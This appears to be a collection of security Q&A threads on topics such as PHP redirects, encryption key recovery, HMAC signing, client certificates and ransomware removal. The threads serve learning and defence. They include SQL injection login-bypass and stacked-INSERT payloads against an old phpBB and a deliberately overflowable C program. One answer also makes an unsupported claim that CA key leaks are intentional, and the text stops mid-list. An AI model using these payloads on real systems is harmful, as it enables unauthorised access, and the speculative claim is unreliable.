Does using PHP headers during login make the form vulnerable to attacks? I didn't think so, but upon reading online it seems this type of code is vulnerable as I'm not ending with exit(); and could therefore be exploited by redirecting or changing the contents of the headers.

I've tried exploiting it using BurpSuite but was unable to redirect my headers to the login pages.

if ($status == 0)
    {
        header('location:index.php?status=fail');
    }
else
    {
        if ($_SESSION['level'] == 1)
        {
            header('location:basicuser');
        }
        if ($_SESSION['level'] == 2)
        {
            header('location:prouser');
        }
        if ($_SESSION['level'] == 3)
        {
            header('location:admin');
        }
    }

The issue with header redirects and exiting is that anything after the header redirect in the same script will still be executed.

You will not see it in a browser as you are being redirected, but you will see it in tools like burp or curl, which do not automatically follow a redirect.

If you do not actually execute any code after the header redirect, there is no issue (although it's best practice to just exit, as the code may change in the future).

Apart from that: you are using additional checks on the pages you redirect to, right? Because if not, an attacker could just enter them directly


How To Recover End-To-End Encrypted Data After Losing Private Key? I'm creating a mobile app which has chat feature in it. Since I wanted to make it secure, I'll do some encryption to messages and the data. I'm thinking of using End-To-End encryption for it but I've got some issues.
Each user will have private and public keys to encrypt and decrypt the data (asymmetric key encryption) and I figured out how to exchange this keys between. So End-To-End encrypted messaging is done.
Here are my issues:
If user changes the device or reinstalls the app, the private key which stored on client will be lost. I know I can create new key pairs for future messages but how can I restore the old ones?
I thought storing the private key in server but it won't be secure at all. I thought storing the private key after encrypting it with user password, it would be secure since I don't know the user's password, but it fails too if user lost his/her password and re-creates one with a "lost my password email".
And another issue is if some legal issue happens, I can't give the chat logs to police because I don't have the decrypted messages or I don't know how to decrypt them because I don't have the private key.
So, how should I handle this issues? How does WhatsApp do it while using End-To-End encryption? You can restore the old messages in WhatsApp after changing device, updating or re-installing the app etc...
I read something about re-encrypting and re-sending the messages from the other user. (Receiver-Sender) But I don't know how effective it would be tho.
Any help would be great. Thanks for all information and help.

You have found another example of the balance security vs usability. If you want true E2E encryption, end users are responsible for their keys and for possible backups of their messages. Full stop.
If you stray from that path, you will fall in a grey zone where everything is E2E encrypted but some features allow to recover messages. Said differently: even if traffic were encrypted, the software can still access old messages - which defeats the point of E2E. WhatsApp, for example, chose to implement the ability for a user to ask for a re-send of all their passed (received) messages without the sender being aware of that. If a user genuinely changes their smartphone, they "automagically" recover all of their old messages. Great... But that means that the application contains all what is required for the system to ask to send everything to a rogue address. Gulp...
That being said, you will have to make some executive decisions here. Provided that you and your users are aware that any recovery option does lower the overall security, that will be fine. Do not worry too much -- while most users insist for everything they send or receive to be strongly E2E encrypted, for most users it is far more important to be able to recover their messages than to totally prevent an attacker from accessing them... For better or for worse, most users aren't aware of the full definitions of E2E encryption and strong cryptography, and are usually satisfied with them being claimed


What are the reasons this SQL injection code wouldn't work? In Software Assurance class I was asked a question why following query allows SQL injection which will allow log in into unsafe phpBB version but will not allow any modification of the database.

We prepared our VM's with PHP with disabled magic quotes to allow this kind of abuse. Otherwise, this would not work. We also have very old version of phpBB from 2005.

SELECT user_id, username, user_password, user_active, user_level,
user_login_tries, user_last_login_try
FROM USERS_TABLE
WHERE username = ’$username’ AND user_password = ’md5($password)’;

We can log into the phpBB site by using this command in login.php username field: admin'# or admin';--.

But when I try to insert an additional account to the database by following code I'm not able to add or modify any information in database:

admin';INSERT INTO users_table(user_id,username,user_password)
VALUES('100','user',.md5('pass'))#

Now, why am I NOT able to add/update/delete any accounts? I have a brief idea why, but I'm not 100% sure. I'm not asking how to make it work, but rather why this wouldn't work.

Is this MySQL specific? As others have noted in the comments, the standard MySQL extension in PHP does not support stacked queries. Stacked queries allow you to use semi-colons(';') to separate SQL statements in a single query. This type of functionality is only supported in the mysqli and PDO extensions of PHP.

From the PHP Documentation:

  mysql_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified link_identifier.)

The documentation explicitly states that multiple queries are not supported, so fortunately (unfortunately?) only one statement can be executed at a time.

Also take a look at this question, as it seems to be similar to yours.


Suspected of hacking Windows 7 SP1 Hi.I have Microsoft Windows 7 SP1 on my PC. I have an Ubuntu OS near Windows OS. My internet connection has a proxy server from Iran that monitors our networking and filters some of our websites. These days I have used some software about free VPN, SSH+ and SSH that I think I have hacked from those softwares. (psiphon and freegate)

My antivirus software was Microsoft Security Essentials.

Windows default images in Libraries\Pictures have been changes to black image with some text on it:   File is encrypted. This file can be decrypted using the program DirtyDesctype.exe. Press CRTL+ALT+D to run DirtyDesctype.exe OR Check the paths (...).
I use all of the ways to run DirtyDesctype.exe but I cant find anything. I changed my antivirus from Microsoft Security Essentials to Avira but non can find any virus or unwanted program. Antiviruses reports sad that my system is clean but it isn't. (why?) I created another user on my PC and I have this problem on second user too.

My questions:

What is it?
Why I have this problem?
Where this come from? (My proxy server or those free VPN softwares or any where else)
How can I solve this?

It is a classic Ransomware.
You have been infected. How? there can be many answers.
It ould be any of the shady websites you visit ;) or a legit website that has been infected
I have mentioned the link below though I am not sure how effective it is as I have not been infected with this thing yet.
What do you mean by "managing internet usage"?

Here's a Blogpost on how to remove it:

  Step-by-step guides to uninstall Dirty Decrypt.exe Virus

  Manual Removal Guide:

  Step 1: Boot up the infected computer, press F8 at the very beginning,
  choose “Safe Mode with Networking” and press Enter to get in safe mode
  with networking.

  Step 2: Press Ctrl+Alt+Del keys together and stop Dirty Decrypt.exe Virus processes in the Windows Task Manager.

  Step 4: Search for all infected files and registry entries and remove them from your computer as follows:

  %Temp%[RANDOM CHARACTERS].exe
  C:\Documents and Settings\
  C:\Users\< Current User >\AppData\
  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System “DisableTaskMgr” = 0
  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\random


REST API is protected by HMAC based authentication. What does including URL path in the message protect from? I have came across a REST API for some commercial software, that checks authentication by requiring HMAC on concatenation of

http_method (GET, PUT, etc)
timestamp
payload (body of a POST / PUT request if any)
path (everything between https://domain.tld and the first question mark)

This HMAC then is passed in a request header.
What does this scheme protect against by including the path?

It drastically limits replay attacks, in the unlikely event that an attacker gets ahold of the request. For example, suppose a legit user sends the following request:

DELETE /basically/innocuous/trivia HTTP/1.1
Authorization: blahblahblah
...

An attacker gets access to this message somehow (maybe they control a TLS-terminating load balancer or something), before the timeout expires. The attacker now has a short-lived HMAC that they can replay, but only for DELETE requests. However, there's nothing stopping them from submitting the following request:

DELETE /totally/critical/data HTTP/1.1
Authorization: blahblahblah
...

Because the path isn't part of the HMAC, changing the path doesn't invalidate the request. Because everything else is the same (method, time [within margin], body [or lack thereof]), the request is accepted and executes with the original user's permissions!
If you instead require that the path also be part of the HMAC, all that an attacker can do is delete the same item over again. This might be awkward but is probably OK (after all, unless it was created / uploaded again, there's nothing delete now). Even if they are able to do some harm by repeatedly deleting that item, they can't delete everything else too (or at least everything they can submit requests for prior to the HMAC timestamp expiring).

Note that this scheme is still missing some things! You're not signing most of the headers, and some of those could change the server behavior. You're not signing the query string, and that could absolutely change behavior.
Take a look at AWS SigV4 for an idea of the full list of things that they consider important to include in the HMAC signature (either because they're part of the request itself, or because they're part of the signing key). It's possible SigV4 is a little over-engineered - I think some of the "layers" of HMACs might be based on older signature schemes, so there's some redundancy there which might not be needed - but it does no harm (aside from making implementation more complicated as a user, and that's what libraries are for).


Are automatic "out of office" email replies bad security practice? I remember reading somewhere that you shouldn't reply to spam because it confirms that the email is used, and makes it more likely that you will be targetted.

Does this mean that automatic replies that say "I'm out of the office" when you're going to be on holiday for a couple of weeks are bad security practice?

Beyond confirming the existence of the email address, it seems like the information could also be used by offline thieves to time their burglaries. Is there any evidence that spam mails have been used like this in the past?

On many email servers it is possible to confirm whether an email address exists or not depending on whether you get a bounce message back from their SMTP server.

e.g.

Return-path: <>
Envelope-to: sender@example.com
Delivery-date: Thu, 25 Oct 2012 16:42:54 -0400
Received: from mailnull by ecbiz103.example.org with local (Exim 4.77)
id 1TRUGT-0005Qd-RT
for sender@example.com; Thu, 25 Oct 2012 16:42:54 -0400
X-Failed-Recipients: recipient@example.edu
Auto-Submitted: auto-replied
From: Mail Delivery System <Mailer-Daemon@ecbiz103.example.org>
To: sender@example.com
Subject: Mail delivery failed: returning message to sender
Message-Id: <E1TRUGT-0005Qd-RT@ecbiz103.example.org>
Date: Thu, 25 Oct 2012 16:42:53 -0400

This message was created automatically by mail delivery software.
A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

recipient@example.edu
No Such User Here

------ This is a copy of the message, including all the headers. ------
Return-path: <s...

However, existent but inactive accounts would not generate such a message.

The out of office autoreply does confirm that the email exists, and that it is in active use. As you say, depending on the contents it could leak information regarding the whereabouts of the recipient. This would be more of a concern for personal email accounts than that of a corporation because it is more likely that the user is physically not present at their home should such an email be received.

Some mail systems can be set to only reply to known addresses in the local address book with the out of office message. This prevents any malicious senders from gaining from their information gathering exercise. Also, many systems that filter email into spam folders do not send autoreplies for such messages.


Penetration Testing & TCP/IP Interview Question I recently read that as a penetration tester you should be able to explain the TCP/IP protocol in depth, however these writers never say how in depth is good? Rewriting the protocols by hand type of deep? Just being able to explain the model seems a little to skippy. Where is enough knowledge enough? Explaining what is happening in Wireshark? I ask because I know some crazy good penetration testers that never think about the TCP/IP model when working or even consider it so why it is so important in the interview?

This depends heavily on the firm and the role. Penetration testing is a varied field where expected knowledge ranges from running off the shelf tools and explaining the output through to manually crafting packets at the wire level. You also get firms that specialize in testing certain products and environments.

There are some jobs where you would be expected to know everything in exact detail. From the packet structure, field locations, congestion control mechanisms and possibly even implementation details from common implementations.

There are others where simply being able to state HTTP is over TCP/IP would be plenty. Someone specializing in in human factors may even only have basic user level computing skills. You might also just be one part of a team. Your skills might be in python frameworks and somebody else works on the lower levels.

I would suggest for any interview this knowledge can't hurt. Even if you specialize in something like content based browser exploitation it can still come in useful. But depending on the actual role it might not be required.


How do I verify, parse and process the results of the HTML5 keygen tag? I'm investigating the HTML5 attribute Keygen and discovered that it sends this data on a Form POST to the server.  Here is an example POST:

MIICQDCCASgwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCXZtZkfOZOvCaMGVeFqCyhZdvs1NAP2+SwgE7Bz+JxSqVVkPAF+vyQ6dUvUNv2xtgeXnKt5Vz6lO8CoF3W9lsdKjLZWAPYfnAbjmoXHGFFY5uxFCyLUZAi+wrPmH2yorzJDTLC07hAfxb3XFRX6OSCYKUnF4L1g+5PtCxkQGaQ0Nd8K9GWffzAw915H7zsADB4TqK4vkyOItJ5RXaI+G+l9rb7yQeK6cd7P6OaIpWJctErv6m/BIlTuMOtYlZig29VWqc/0/J++QS49pbNrKULf+2GUheQ1JleA9wzy5ECUfkfboU0NoZt1Co9MSOJ0J+dSND4zs09kFNawFF1bXtHAgMBAAEWADANBgkqhkiG9w0BAQQFAAOCAQEAJwemsDE/5s3cYTv72sZ4ScKfxw0ROorxcmmmml3v1o9kepCirI9DmNlGWk5yVaAfP647YkLVF8xitdqr0c2ixboihoPsYuQH7h5CLFWv42SKddH5QzsfM/3JVwvxDw38v6kgWNcl1kTiz/1vXZZYBasjfmuosW4IGtZYS/JY6Zjq11BFi8dBvzGEyKu6eppssDZRJ/JGPuTudWiZqsVhxyW6pdz8weHpEBnUAFUdyGOyKJj5BqTRyuYbo/VKNxdcIo1Grs1VW2rD+0iEFv9Pwz4WEMZt9QSCiQkP2cIKsSrvpR5/6a8JA7fXndf6cEVJOgS1r+ewx9f3KJhuqbwJsA==

When I parse this using an ASN.1 parser it contains

A RSA key (oid 1.2.840.113549.1.1.1),
A MD5 hash (oid 1.2.840.113549.1.1.4)
A 2048 bit string which is the signature.

Further investigation reveals this is likely called the Signed Public Key and Challenge (SPKAC) format and this format is accepted by the Microsoft CA server.

Question

The keygen docs at Mozilla, and the keygen docs at w3 don't specify a return format after the POST.  What should I return?
After keygen is run, (see links at the bottom of this page) I don't see a certificate in my local store.  Where is it?
My understanding is that Keygen is used to create a Browser Certificate.  What logical steps do I need to complete in order to finish this process?

The keygen docs at Mozilla, and the keygen docs at w3 don't specify a return format after the POST. What should I return?

The reason this information is not listed is because the KeyGen element sends an SPKAC to the server and once a CSR (Certificate Signing Request) is generated and sent to a reputable CA (Certificate Authority) an x.509 signed client certificate is to be sent back to the client that created the private key.

A typical procedural event for handling SPKAC's from the KeyGen element would be as follows:

User specifies a unique 'challenge' which gets encoded within the KeyGen generated SPKAC (signed public key & challenge ASN.1 value).
The KeyGen element generates a Private key which is then stored within the browser certificate store.
A public key is then derived from the private key.
The derived public key & the user submitted challenge is then encoded as an ASN.1 SPKAC formatted string (see the 'certificate request format' below).
A CSR is then created (see below) and sent to a reputable certificate authority.
The CA generates an x.509 certificate which can the be used for pass-wordless authentication (as long as the web server is configured to do so)

Essentially setting the 'Content-Type' header to 'application/x-x509-user-cert' will force the browser to load it into it's certificate store.

  After keygen is run, (see links at the bottom of this page) I don't see a certificate in my local store. Where is it?

KeyGen does not generate a certificate. It generates a private key. The public key is derived from the private key (which is not accessible from the browsers certificate store, nor through the JS engine API) then encoded as an SPKAC.

The SPKAC is to be used within a CSR (Certificate Signing Request) and an example of which would look like the example below, the more traditional CSR can be shown here, and see here for references:

SPKAC=MIIBXjCByDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA3L0IfUijj7+A8CPC8
EmhcdNoe5fUAog7OrBdhn7EkxFButUp40P7+LiYiygYG1TmoI/a5EgsLU3s9twEz3
hmgY9mYIqb/rb+SF8qlD/K6KVyUORC7Wlz1Df4L8O3DuRGzx6/+3jIW6cPBpfgH1s
VuYS1vDBsP/gMMIxwTsKJ4P0CAwEAARYkYzBkZjFlYjctMTU0NC00MWVkLWFmN2Et
ZDRkYjBkNDc5ZjZmMA0GCSqGSIb3DQEBBAUAA4GBALEiapUjaIPs5uEdvCP0gFK2q
ofo+4GpeK1A43mu28lirYPAvCWsmYvKIZIT9TxvzmQIxAfxobf70aSNlSm6MJJKmv
urAK+Bpn6ZUKQZ6A1m927LvctVSYJuUi+WVmr0fGE/OfdQ+BqSm/eQ3jnm3fBPVx1
uwLPgjC5g4EvGMh8M
CN=Joe Snuffy
OU=Snake Oil, LLC
O=Department of pricing
L=City name
ST=State or province
C=United States
E=joe.snuffy@snakeoil.com

  My understanding is that Keygen is used to create a Browser Certificate. What logical steps do I need to complete in order to finish this process?

The entire process for using a keygen element for a practical client certificate authentication within web applications is as follows:

Within an administrative panel of a web application (using an existing account) the user has the option to create a client certificate (x.509) to use for authentication. This loads the SPKAC KeyGen element along with a form providing the following attributes (everything in the parenthesis corresponds to the above CSR example):

organizationalUnitName (OU)
organizationName (O)
localityName (L)
stateOrProvinceName (ST)
countryName (C)
emailAddress (E)
commonName (CN)

Once the form is provided to the server a CSR is generated. This is to then be provided to a CA (Certificate Authority) for signing.
Once signed the client is notified to log back into the web application at which time the x.509 header 'content-type' can then be used to force the certificate into the browser's certificate store.
As long as the web server is configured to do so, it can force the client to send any x.509 certificates for client certificate authentication. The apache web server documentation provides this information.

Some additional notes regarding the SPKAC; the challenge string provided should be unique to each users client certificate. An example of setting this based on user input would be the following snippit:

<script>
/* Gather up our form & its elements */
var form = document.getElementById("myForm")
  , challenge = document.getElementById("challenge")
  , spkac = document.getElementById("spkac");

/* Add an event handler to move the value from the 'challenge' input
   to the keygen element challenge attribute */
form.addEventListener("blur", setSpki, true);

/* Our function which sets the challenge */
function setSpki(){
  spkac.setAttribute('challenge', challenge.value());
}
</script>

This is essential because once the signed client certificate is in the browser store anyone using that browser potentially has access to their account.

The challenge provided during the initial SPKAC should be used as a secondary form of proof of ownership for the private key corresponding to the private key used for the SPKAC.

As an example; the user logs out, closes the browser destroying the authenticated session. A malicious user sits down at the same terminal and attempts use the x.509 to provide authentication and is then prompted for the challenge.


What could re-enable uPnP on router apart from malware? I'm the sole person who has access to this router. I turned uPnP off and have twice found it turned back on in recent weeks. The Router is Asus DSL-AC68U.
I have a VPN running at the router level, installed about a month ago. I've recently updated the firmware on it too but after extensive searching neither of those should have affected it. The only thing I've come across is that there must be malware inside the network.
Can someone please advise?

Buggy firmware.
There's an old saying in IT:

Never attribute to malice what can be sufficiently explained by incompetence.

This can be fully explained by a buggy firmware that somehow re-enables it automatically after reboot, or never disables it in the first place, or resets that part of the configuration due to some other random event.
Consumer router/AP firmware is well known for being old version, riddled with bugs. The selling points of these devices is not security, it's whatever superlatives about speed they can stick on the box it comes with. The firmware and lack of security is only evident after you've bought it.


How to encrypt email attachment? I need to send 10 accounts login data via email, if i send it to a mac user a make an encrypted .dmg file, but as far as I know windows needs a third party app to open .dmg files.

Is it possible to make a .iso with password protection?
Is .rar or .zip file password protection safe?

It as everytime depends on the password too. A password protected .zip file should be fine. Another option would be to create a vera crypt file you can send via E-Mail if its small enough , too.


How to implement a password change policy when user's centralized password is in a lot of places? I would like to implement password changing in an organization but they have the domain controller/LDAP passwords "all over the place". They have the passwords in a lot of places, for example, in mobile apps that authenticate against the LDAP, VPN clients, etc.

How to implement a password change policy in this environment? Should the organization first work on reducing or elaborating an inventory of where they have the password introduced?

What if not all passwords can be changed remotely? For example, the organization has the password in mobile apps and may not be possible to access remotely to all the 5000 mobile devices in this organization and change the password. Users may not be prepared to change by themselves the passwords...

Is there any family of solutions or specific UNIX/Windows solutions in order to address this problem?

From the comments, it sounds like the core question is, and please do comment if I'm wrong here: "We have a centralised authentication provider (LDAP) and multiple applications which end users authenticate against this. Is there a way of making it so that if the user changes their password on one of these applications, the change can automatically be applied to other applications, without the user having to update each application individually?"

If that is the case, so that your users can change their password on, say, Outlook, and it automatically updates on their mobile phone, there are some possible methods for doing this, generally involving a password equivalent, such as a verification token. However, it's generally a really bad idea.

Imagine a situation where a user's mobile phone has been stolen. The thief currently has access to their email, and to any email that comes in whilst the same session is active. Given a password reset which requires the updated password to be entered, it's easy to shut off their access to new email - you change the password on the server, and the phone can no longer connect. In your theoretical system, changing the password on the server would not stop the phone from connecting - the password would automatically update.

You may be better off looking at utilising existing functionality in devices to minimise the number of changes that a user will have to perform. For example, Android devices allow for "accounts" which can be used by multiple applications, meaning that if a Google password is updated, it only needs to be entered on the phone once, instead of once per mobile application. Outlook can be configured to allow sign-in using domain login, so that a user who signs into Windows is automatically connected to the Exchange server. In each of these, the password needs to be entered if it is changed, but only once per device.


Possible to limit server connections to clients with a specific certificate? Usually when I read about SSL and HTTP it says that the certificate is set up to authenticate that the host is who it says it is. Is it possible to configure the host to prevent it from processing requests except for clients that have previously installed the right ssl certificate?

if this isn't possible, any suggestions for types of technologies that could do this would be helpful.

It is possible to limit server connections to client with specific certificates. When using SSL/TLS it is sometimes refer as SSL client authentication or mutual authentication as the client authenticate the server and the server authenticate the client.

A free implementation of a mutual authentication using SSL/TLS we'll require to setup a Public Key Infrastructure and create a Certificate Authority (CA). Your Web Server will need to support SSL/TLS and have a certificate.

It can be done easily using OpenSSL.

Create a Certificate Authority

Create new CA (private key and certificate).

Create a Server  certificate

Create new server private key and certificate request.
Have the new CA sign the server certificate.

Client certificate.

Create a client certificate request.
Sign the client certificate using the CA certificate and private key
previously created.

Client Authentication

Install your CA certificate within your browser.
Configure your web server to authenticate users based on the provided
client certificate.

Resources

Secure Web Access

What is the difference between an x.509 “client certificate” and a normal SSL certificate?


Simple exploit leads to wrong EIP and EBP I have a simple program:

void bug(char *arg1)
{
    char name[128];
    strcpy(name, arg1);
    printf("Hello %s\n", name);
}

int main(int argc, char **argv)
{
    if (argc < 2)
    {
        printf("Usage: %s <your name>\n", argv[0]);
        return 0;
    }

    bug(argv[1]);
    return 0;
}

Machine: Ubuntu 14.04.1 32-Bit / gcc version 4.8.2

The file compiled with -fno-stack-protector and ALSR is off

This is what I get after try to execute it from gdb:

What I expected is to see the EIP set to 0x43434343 and EBP set to 0x42424242 but we see that they both are 0x41414141

Please help. What was wrong?

You just discover that GCC perform alignments on local variables (stack). An paper that could give you an idea of this concept is the following one: Optimal Stack Slot Assignment in GCC


Sniffing 2400bps v22bis modem traffic I am working with alarm signalling systems at the moment, and they communicate with 2400bps v22bis modems.

I would like to be able to intercept the traffic on the phone line as a proof of concept.

The only device/software I can find to do this is the 3am Linescope.

This appears to be a phone line to audio adapter, connected to a sound card with some software. It is ~€500 so is quite costly.

As far as I understand it, technically intercepting v22bis traffic is possible, it just looks like it is not a common task.

Does anyone know of any cheaper or free alternatives?

Free software to demodulate the signal exists, see http://bellard.org/linmodem.html

For the physical signal acquisition on first approximation I'd use a digital oscilloscope, something  like https://www.sparkfun.com/products/11219 but it should be possible to do it a lot cheaper unless you plan to reuse it for other projects.

If you can cut the line two modems should be usable, and the modems could be gotten for cheap, with your computer in the middle.

If you can't even strip the phone cable a http://en.wikipedia.org/wiki/Hall_effect_sensor is the way to go I'd say, in conjunction with the digital oscilloscope.

Interesting project, I would love to read more about it if you succeed.


Is it safe to include memory addresses in a program’s output? I’m writing a program. The input is a complex data structure in memory. The output is an HTML report that contains: (1) a representation of the structure; (2) textual annotations that refer to objects in the structure.

In order to link the annotations to parts of the structure, I use the objects’ memory addresses as anchors. Thus, memory addresses end up directly in the generated HTML code.

Could this be in any way dangerous?

The reports are mostly for personal use, but sometimes they might be shared.

The program can be used as a library, inside another process’s memory space. However, the input objects are constructed specially for this purpose, and will normally be garbage-collected once the report is finished.

I was thinking about obfuscating the addresses with MD5—would that be somehow better?

Purely from a programming point of view, instead of using an objects memory address to link these two pieces of data, you really should be generating an index number and using that to refer between the structure and your annotation.

I can't see any reason why it would be dangerous though to include the addresses in the report, since as soon as your program terminates the address space is freed by the OS.  While it may not be zeroed out (data may remain in memory until overwritten), you probably aren't at risk of exploitation.


Whatsapp decryption by government agencies I would like to know why government agencies need the help of WhatsApp for decryption. As can be seen in this article.
They asked for WhatsApp help to decrypt the messages. They did more complicated decryption tasks. What's so special with WhatsApp?

they just haven't leaked-out their encryption keys to government agencies. For now, at least. Global CA's like Comodo have "unexpected leaks" from time to time, and only a fool will beleive that they're accidents...


Generating private key from hex string with openssl Is there a quick way to take a set of numbers and encode it as a private key with openssl command line? Inventing the CLI interface

openssl genpkey -fromhex 'FFFFFFFFF' -algorithm RSA

edit: of course any random numbers wouldn't always fit (depends on the cipher, with EC it might well be the case that most numbers fit), but that's part of the deal. If the number is not a valid private key, I want openssl yell at me.

The main use case is, verifying calculations with openssl. It's really convenient to, say, write a program that converts private key to public key, and use openssl to make sure it's actually working.

I'm afraid what you're asking doesn't make a lot of sense.

If indeed you already have the set of numbers that compose your private key, then all you need to do is express that as a string. And if you can already do that, then what do you need openssl for? And if you can't do that, then how are you going to communicate them to openssl? Typically if you actually have the data at all, then you also have the means to output it into a standard file format.

The standard key format used in x509 is simply ASN.1 data formatted using DER (binary) or PEM (base64) formatting rules. Here's a fun activity to see what it looks like:

$ openssl genrsa > key.pem

Now we have a 512-bit RSA keypair. Not particularly useful, but small.

$ openssl rsa -text < key.pem
Private-Key: (512 bit)
modulus:
    00:cc:95:9a:a2:ac:03:6b:77:11:52:be:06:86:8e:
    ....
publicExponent: 65537 (0x10001)
privateExponent:
    00:91:d1:b0:3e:72:4c:9d:b4:68:6c:89:75:2d:43:
    ....

So that's your private key. The first two fields; the modulus and publicExponent are also your public key.

How is this stored? We can ASN.1 decode it without additional processing:

$ openssl asn1parse < key.pem
    0:d=0  hl=4 l= 316 cons: SEQUENCE
    4:d=1  hl=2 l=   1 prim: INTEGER           :00
    7:d=1  hl=2 l=  65 prim: INTEGER           :CC959AA2AC036B77...
   74:d=1  hl=2 l=   3 prim: INTEGER           :010001
   79:d=1  hl=2 l=  65 prim: INTEGER           :91D1B03E724C9DB4...
  146:d=1  hl=2 l=  33 prim: INTEGER           :E831F72E74263DDC...
   ...

As you can see, the file simply contains the expected data fields dropped in there one after the other, with no fluff. As long as you have the right ASN.1 identifiers for each field, you're pretty much done.

Of course, if you don't want to bother with the binary encoding rules, you can read the ASN.1 fields in as text using the "conf file" format described in the documentation for ASN1_generate_nconf. It looks more like this:

asn1=SEQUENCE:private_key
[private_key]
version=INTEGER:0
n=INTEGER:0xCC959AA2AC036B77...
e=INTEGER:0x010001
d=INTEGER:0x91D1B03E724C9DB4...

You can load this format in to the asn1parse command using the -genconf <file> option, but I'm not sure the command line program allows you to then output a PEM or DER file from the contents. Though, realistically, a C program that uses the openssl API to do just that would only be about 20 lines long, so it's something you could easily do if necessary.

Still, this all sounds pretty contrived; why you would possibly need to do this is beyond me. But I would imagine that if you were well-versed in this technology enough to know that you did need to do it, then the writing the appropriate utility to do so would be trivial.


Reliability of DNSBLs for Stopping Forum Spam I know that certain DNS blacklists are considered more reliable than others, in that they don't have as many false positives.

I run a forum that is known to be spammed, and I've installed a mod to incorporate multiple DNSBL lookups with varying weights in order to have less false-positives by confirming there are multiple DNSBLs confirming that IP address.

Is there a reliable list of recommended DNSBLs or a way to decide which ones to use? Are there well-known DNSBLs that return so many false positives they should be avoided?

Though my answer isn't to use DNSBL, there are services that provide an API-level plugin to help reduce spam for such use cases.  Defensio is one that comes to mind.  I'm sure there are others out there (and no, I don't work for Websense).  Depending on the volume of posts per month, such services could be available for "free."  With that said, many DNLBLs also limit the number of requests per day.


How strong is a password consisting of words arbitrarily chosen from the dictionary? Diceware wants us to actually randomly pick n words from a given set of m=65 words.

Assume a user does not actually use a dice. Instead they take a physical dictionary of m words and "randomly" picks n words.

Can it be somehow quantified how big would the drop of randomness be?

For example, I suppose that they would never pick words from the beginning of the dictionary nor from the end of the dictionary; neither would they pick a word from the bottom or top of a dictionary page. Very well, this restricts the wordset to, say, m/4.

I guess it can be ignored here that a diceware restricts us to a set of m=65 words while a physical dictionary can convincingly have m=100k words because diceware can easily be modified to include 100k words as well.

Pretty much all of my answer is based off of my own interpretation of the results from this paper:

https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0041531

(aka, I'm not an expert in how the human brain works and I haven't done tons of research).  I'll start with the most important detail and then answer your question

Under realistic circumstances the resulting password will likely be as hard to guess as one generated with dice.

Here are (IMO) the relevant details:

People are in fact bad at making random numbers, and are prone to following patterns.
However, different people have completely different patterns they follow, and the pattern a particular individual follows cannot be known without first observing a long random sequence that they have generated
Therefore, to make it easier to guess a particular person's password, you would first have to ask them to generate many passwords in an attempt to learn about their particular "pattern"
Therefore, getting the data necessary to improve the chances of guessing a particular individuals password would involve one heck of a social engineering attack, and is probably much less effective than rubber hose cryptanalysis.

It's difficult to estimate the decrease in entropy without a dedicated study, but the loss of entropy is probably very small.

In the linked study they had people make sequences of random numbers (600 numbers total).  Using half of those numbers they tried to make a model to guess numbers in the other half of their sequence.  Their ability to predict the first number in the sequence was not appreciably different than random guessing.  However, once the "sequence" started, their odds of correctly guessing the next number in the sequence plateaued at about 25%.

For a baseline, they have a 10% chance of guessing the next number in the sequence regardless.  If we want to make a ridiculously naive conclusion, this suggests that a good model might improve the chances of success by a factor of ~2.  Applying this to your initial numbers means that the entropy has gone from 83 bits of entropy (log2(100000**5)) to 82 bits of entropy (log2(0.5*(10000**5))).  Needless to say, the difference is practically negligible.

Of course, our number-guessing situation probably doesn't directly apply to dictionary-word guessing.  I personally suspect that a good model for dictionary-word guessing will have a much smaller improvement over randomness than experienced for number guessing.  However, the human brain is complicated enough that I'm not confident in anyone's ability to guess at the answer without doing a study specifically for this.


Norton Symantec Flagging my python script as Trojan.Bayrob9 I have symantec endpoint protection on my computer. I have the python script:

import subprocess
import os
from ftplib import FTP
os.chdir("public_html2")
data=subprocess.check_output(["git", "diff","--name-only"]).decode("utf-8").split("\n")
entries = []
for file in data:
if file!="":
    entries.append(file.strip())

print(entries)

ftp = FTP("website here")
ftp.login("username here","password here")

for entry in entries:
    with open(entry,"rb") as fl:
        ftp.storlines("STOR "+entry,fl)

Everytime I run it norton symantec blocks the program and notifies me of "Trojan.bayrob9". My question is, is it more likely that I have an unrelated virus on my own computer, or that my python program is being treated as a virus.

My question is, is it more likely that I have an unrelated virus on
  my own computer, or that my python program is being treated as a
  virus.

I think your python program is being treated as a virus.
Why?
See here

  This signature detects Trojan.Bayrob communicating and requesting
  information from its controlling server.

And you are trying to connect to a FTP server,Couple that with trying to write data on the disk as a malware dropper and the fact python gets flagged falsely by antiviruses left and right.


Are mitigations for Spectre and Meltdown needed in the VMs for dynamic languages other than JavaScript? Mitigations for Spectre and Meltdown are being added to the JavaScript VMs in Chrome, Firefox, IE/Edge and WebKit.

Are similar mitigations also needed in the VMs for other dynamic languages?

For example, I assume mitigations are needed in LuaJIT because, like a JavaScript engine, it supports JIT compilation of untrusted code. Does PUC Lua also need these mitigations, or is it immune to these attacks because it is only an interpreter?

Are mitigations also needed in other VMs such as CPython, PyPy and Ruby MRI? Am I right in thinking that these VMs do not try to support secure execution of untrusted code, and hence can ignore these attacks?

As long as a VM doesn't execute an untrusted code, no.

Note that "executing untrusted code" includes taking code snippets from Github, StackOverflow or elsewhere and running them in a sandbox of any kind, like: a chroot, an isolated container or a virtual machine (but except a browser sandbox, like Brython or Emscripten, once proper browser mitigations are in place).

If a VM can under any circumstances execute an untrusted code, the answer is: it depends. It's still possible that it doesn't need all or any of the mitigations a JS engine now features, but your threat model becomes much more complicated.

As of now, a few requirements must be met for your VM to be theoretically exposed to Meltdown or effects of Spectre:

The VM runs an untrusted code which can, at least, send messages to the outside world.

Including, but not limited to, Internet access or permissions to display or write data to a location which could later at some point be accessible by an attacker.
The VM allows usage of high precision timers or tools that could be used to measure relative execution time of the respective programming language instructions.

Including, but not limited to, buffers shared between concurrent threads.
The VM features optimization techniques that, at least theoretically, could allow the untrusted code to run with approximately the efficiency of compiled code.

Including, but not limited to, just-in-time (JIT) compilation or optimized bytecode generation.

It is believed[citation needed], that at least in case of CVE-2017-5715, under certain circumstances (e.g. presence of particular binary instruction sequences in system libraries and a series of unfortunate events), this particular requirement could be further relaxed or lifted.
Any of the following conditions are met:

